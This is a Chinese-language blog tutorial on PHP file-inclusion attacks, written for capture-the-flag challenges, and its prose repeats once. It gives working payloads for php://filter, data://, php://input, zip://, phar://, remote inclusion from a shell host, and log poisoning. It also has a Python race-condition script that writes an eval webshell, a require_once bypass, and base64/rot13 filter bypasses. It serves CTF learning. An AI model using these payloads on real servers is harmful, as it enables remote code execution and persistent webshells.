W3lkin's Universe
「你就像是一阵风,在我这里掀起了万丈波澜,却又跟着云去了远方」
August 2nd, 2023
include:找不到被包含的文件时只会产生警告,脚本将继续执行。 include_once:和include()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。 require:找不到被包含的文件时会产生致命错误,并停止脚本。 require_once:和require()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流(I/O streams) zlib:// — 压缩流 data:// — 数据(RFC 2397) glob:// — 查找匹配的文件路径模式 phar:// — PHP 归档 ssh2:// — 安全外壳协议 2 rar:// — RAR ogg:// — 音频流 expect:// — 处理交互式的流
我们使用php://filter/convert.base64-encode/resource=可以读取到文件base64编码之后的内容
php://filter/convert.base64-encode/resource=
数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。前提:需要在php.ini中将allow_url_include和allow_url_fopen设置为On
data://text/plain,<?php phpinfo();?> data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
用于访问本地文件系统(依旧不能读取PHP文件,因为会解析),并且不受allow_url_fopen,allow_url_include影响
file:///etc/passwd
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作 文件内容。从而导致任意代码执行我们直接post请求 在请求包里放入PHP代码即可
POST /include.php?include=php://input HTTP/1.1 Host: 192.168.1.8 Content-Length: 21 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 Origin: http://192.168.1.8 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.1.8/include.php?include=php://input Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close <?php phpinfo(); ?>
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。zip://中只能传入绝对路径。首先在phpinfo.txt里写入PHP代码,然后将他压缩成一个zip格式的压缩包在get请求中注意将#编码成%23
?include=zip:///tmp/shell.zip#shell.txt
优点:不需要使用绝对路径,可以使用相对路径
?include=phar://phpinfo.zip/phpinfo.txt
前提:首先需要确定PHP是否已经开启远程包含功能选项(php默认关闭远程包含功能:allow_url_include=off),开启远程包含功能需要在php.ini配置文件中修改。
?include=http://webshell.com/shell.txt
常见日志位置
linux /var/log/apache2/log/access.log /var/log/httpd/access.log /var/log/nginx/access.log apache+linux 默认配置文件 /etc/httpd/conf/httpd.conf /etc/init.d/httpd IIS6.0+win2003 配置文件 C:/Windows/system32/inetsrv/metabase.xml apache+Linux 日志默认路径 /etc/httpd/logs/access_log /var/log/httpd/access log apache+win2003 日志默认路径 D:/xampp/apache/logs/access.log D:/xampp/apache/logs/error.log IIS6.0+win2003 默认日志文件 C:/WINDOWS/system32/Logfiles nginx 日志文件 /usr/local/nginx/logs 可通过其配置文件 Nginx.conf,获取到日志的存在路径 /opt/nginx/logs/access.log
我们将我们的恶意代码放在http请求中 然后再包含日志 这样就能达到命令执行的效果但是恶意代码最好是放在UA头上,直接get请求的话可能会有url编码造成的问题
?include=/var/log/nginx/access/log
demo:
<?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }else{ highlight_file(__FILE__); }
在cookie处添加PHPSESSID,会默认在session目录下生成类似于sess_aaa的文件 这个aaa名称是我们可以控制的控制名称需要PHP_SESSION_UPLOAD_PRGRESS参数,这是用来获取实时文件的上传进度,会返回一个session我们上传上的文件会被马上删除,所以需要使用条件竞争来解决 在他还没删除之前 就把文件包含了 从而造成命令执行这是一个分秒必争,且需要多次尝试的过程 手工肯定是不行的 我们借助脚本来完成
import os import io import requests import threading sessid = 'k1he' url = '靶机的地址' def write(session): while event.isSet(): f = io.BytesIO(b'a'* 1024 * 50) #创建文件 response = session.post( #post文件上传 url, #url cookies = {'PHPSESSID':sessid}, #设置cookie为我们的sessid data = { "PHP_SESSION_UPLOAD_PROGRESS":"<?php system('ls');file_put_contents('/tmp/1','<?php phpinfo();eval($_POST[1]); ?>');?>"},#写马或执行内容 files = {"file":('k1he.txt',f)} #上传文的具体内容,文件名和文件内容 ) def read(session): while event.isSet(): payload = "?file=/tmp/sess_"+sessid #包含我们的session路径,注意file参数的改变 response = session.get(url = url+payload) #读取页面 if 'k1he.txt' in response.text: #返回页面 print(response.text) event.clear else: print("[*]retrying!!!") if __name__ == '__main__': #双线程运行 event = threading.Event() event.set() with requests.session() as session: for i in range(1,30): threading.Thread(target=write,args=(session,)).start() for i in range(1,30): threading.Thread(target=read,args=(session,)).start()
bypass掉require_once的限制,题目来源[WMCTF2020]Make PHP Great Again
<?php highlight_file(__FILE__); require_once 'flag.php'; if(isset($_GET['file'])) { require_once $_GET['file']; }
软连接:/proc/self/root通过ls /proc/self/root可以直观的看到/proc/self/root指向的就是/当软连接多到一定程度后,可以绕过该require_once函数的限制
php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/www/flag.php
php file_put_contents()函数用于把一个字符串写入文件中。该函数会检查用户想要写入的文件,如果该文件不存在,则会创建一个新文件,然后进行字符串的写入。
基本语法:file_put_contents(file,data,mode,context)参数: PHP file_put_contents()函数接受两个必需参数和两个可选参数。● file:必需。指定要写入数据的文件。如果文件不存在,则创建一个新文件。● data:可选。指定要写入文件的数据。可以是字符串、数组或数据流。● mode:可选。指定如何打开/写入文件。可能的值:FILE_USE_INCLUDE_PATH,FILE_APPEND,LOCK_EX。● context:可选。指定文件句柄的环境,自定义上下文或流的行为。context 是一套可以修改流的行为的选项。若使用 null,则忽略。返回值:写入成功时,则返回写入文件的字节数,失败时返回FALSE。
题目来源于ctfshow
<?php if(isset($_GET['file'])){ $file = $_GET['file']; $content = $_POST['content']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content); }else{ highlight_file(__FILE__); }
base64编码绕过可以看到我们提交的参数file会被url解码一次,content放在die()的后面 这将不会执行content的内容所以我们就将file传入命令,content传入要写入的文件内容
base64解码时,是4个为一组,root.php(要写入的文件),写入的内容<?php die('大佬别秀了');?>中只有phpdie会参与base64解码,因为phpdie只有6个字节,补两个a就是8字节了对执行的命令进行编码<?php die('大佬别秀了');?>aaPD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTs/Pg==进行base64解码后的结果是]龀<?php system('tac fl0g.php');?>
这里要对file=php://filter/write=convert.base64-decode/resource=root.php进行两次全编码(一次是因为后端对他进行了一次解码,一次是因为浏览器传输中会自动解码一次)
import os def main(): clearFlag = "y" while(1): if clearFlag == "y" or clearFlag == "Y": os.system("cls") clearFlag = "" string = input("请输入需要转换的字符串 :") type = input("请选择操作类型(1:加密 2:解密) :") while(type != "1" and type != "2"): type = input("操作类型输入错误,请重新选择(1:加密 2:解密) :") if type == "1" : encode_string = encode(string) print("编码结果为:"+encode_string+"\n") if type == "2" : decode_string = decode(string) print("解码结果为:"+decode_string+"【请注意前后空格】\n") clearFlag = input("按Y/y清空屏幕继续:") #编码 def encode(string): encode_string = "" for char in string: encode_char = hex(ord(char)).replace("0x","%") encode_string += encode_char return encode_string #解码 def decode(string): decode_string = "" string_arr = string.split("%") string_arr.pop(0) #删除第一个空元素 for char in string_arr: decode_char = chr(eval("0x"+char)) decode_string += decode_char return decode_string main()
最终payload:
http://e335679b-78f2-4d0d-9097-8272be0b1bf1.challenge.ctf.show?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%32%25%36%66%25%36%66%25%37%34%25%32%65%25%37%30%25%36%38%25%37%30 content=aaPD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=
rot13编码绕过同样的对php://filter/write=string.rot13/resource=rot13.php进行两次url全编码使用captfencoder对要写入的文件内容编码
content=<?cuc flfgrz('gnp sy0t.cuc');?>
PHP中文件包含常见的函数
伪协议
php://filter
我们使用php://filter/convert.base64-encode/resource=可以读取到文件base64编码之后的内容
data://
数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。
前提:需要在php.ini中将allow_url_include和allow_url_fopen设置为On
file://
用于访问本地文件系统(依旧不能读取PHP文件,因为会解析),并且不受allow_url_fopen,allow_url_include影响
php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作 文件内容。从而导致任意代码执行
我们直接post请求 在请求包里放入PHP代码即可
zip://
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
zip://中只能传入绝对路径。
首先在phpinfo.txt里写入PHP代码,然后将他压缩成一个zip格式的压缩包
在get请求中注意将#编码成%23
phar://
优点:不需要使用绝对路径,可以使用相对路径
远程文件包含
前提:首先需要确定PHP是否已经开启远程包含功能选项(php默认关闭远程包含功能:allow_url_include=off),开启远程包含功能需要在php.ini配置文件中修改。
日志文件包含
常见日志位置
我们将我们的恶意代码放在http请求中 然后再包含日志 这样就能达到命令执行的效果
但是恶意代码最好是放在UA头上,直接get请求的话可能会有url编码造成的问题
session条件竞争写shell
demo:
在cookie处添加PHPSESSID,会默认在session目录下生成类似于sess_aaa的文件 这个aaa名称是我们可以控制的
控制名称需要PHP_SESSION_UPLOAD_PRGRESS参数,这是用来获取实时文件的上传进度,会返回一个session
我们上传上的文件会被马上删除,所以需要使用条件竞争来解决 在他还没删除之前 就把文件包含了 从而造成命令执行
这是一个分秒必争,且需要多次尝试的过程 手工肯定是不行的 我们借助脚本来完成
只能包含一次?
bypass掉require_once的限制,题目来源[WMCTF2020]Make PHP Great Again
软连接:
/proc/self/root
通过ls /proc/self/root可以直观的看到/proc/self/root指向的就是/
当软连接多到一定程度后,可以绕过该require_once函数的限制
file_put_contents
php file_put_contents()函数用于把一个字符串写入文件中。该函数会检查用户想要写入的文件,如果该文件不存在,则会创建一个新文件,然后进行字符串的写入。
基本语法:file_put_contents(file,data,mode,context)
参数: PHP file_put_contents()函数接受两个必需参数和两个可选参数。
● file:必需。指定要写入数据的文件。如果文件不存在,则创建一个新文件。
● data:可选。指定要写入文件的数据。可以是字符串、数组或数据流。
● mode:可选。指定如何打开/写入文件。可能的值:FILE_USE_INCLUDE_PATH,FILE_APPEND,LOCK_EX。
● context:可选。指定文件句柄的环境,自定义上下文或流的行为。context 是一套可以修改流的行为的选项。若使用 null,则忽略。返回值:写入成功时,则返回写入文件的字节数,失败时返回FALSE。
题目来源于ctfshow
base64编码绕过
可以看到我们提交的参数file会被url解码一次,content放在die()的后面 这将不会执行content的内容
所以我们就将file传入命令,content传入要写入的文件内容
base64解码时,是4个为一组,root.php(要写入的文件),写入的内容<?php die('大佬别秀了');?>中只有phpdie会参与base64解码,因为phpdie只有6个字节,补两个a就是8字节了
对执行的命令进行编码
<?php die('大佬别秀了');?>aaPD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTs/Pg==进行base64解码后的结果是
]龀<?php system('tac fl0g.php');?>
这里要对file=php://filter/write=convert.base64-decode/resource=root.php进行两次全编码(一次是因为后端对他进行了一次解码,一次是因为浏览器传输中会自动解码一次)
最终payload:
rot13编码绕过
同样的对php://filter/write=string.rot13/resource=rot13.php进行两次url全编码
使用captfencoder对要写入的文件内容编码